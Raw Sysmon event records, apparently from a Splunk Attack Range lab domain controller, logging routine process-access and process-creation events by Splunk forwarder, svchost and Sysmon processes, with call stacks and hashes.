10341000x80000000000000005122Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2950-5F80-1801-000000007F01}4768C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005121Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005120Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005119Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005118Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005117Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005116Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005115Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005114Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005113Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005112Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2950-5F80-1801-000000007F01}4768C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005111Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.211{A5F018FF-294F-5F80-1601-000000007F01}44924100C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-2950-5F80-1801-000000007F01}4768C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+64ab|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1807c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005110Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.223{A5F018FF-2950-5F80-1801-000000007F01}4768C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-licenseC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000005109Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.196{A5F018FF-294F-5F80-1701-000000007F01}15124496C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005259Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2951-5F80-2201-000000007F01}1592C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005258Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005257Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005256Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005255Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005254Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005253Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005252Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005251Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005250Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2951-5F80-2201-000000007F01}1592C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005249Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005248Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.789{A5F018FF-2951-5F80-2101-000000007F01}39843040C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-2951-5F80-2201-000000007F01}1592C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005247Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.791{A5F018FF-2951-5F80-2201-000000007F01}1592C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-2951-5F80-2101-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list replication_port --no-log 10341000x80000000000000005246Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2951-5F80-2101-000000007F01}3984C:\Program 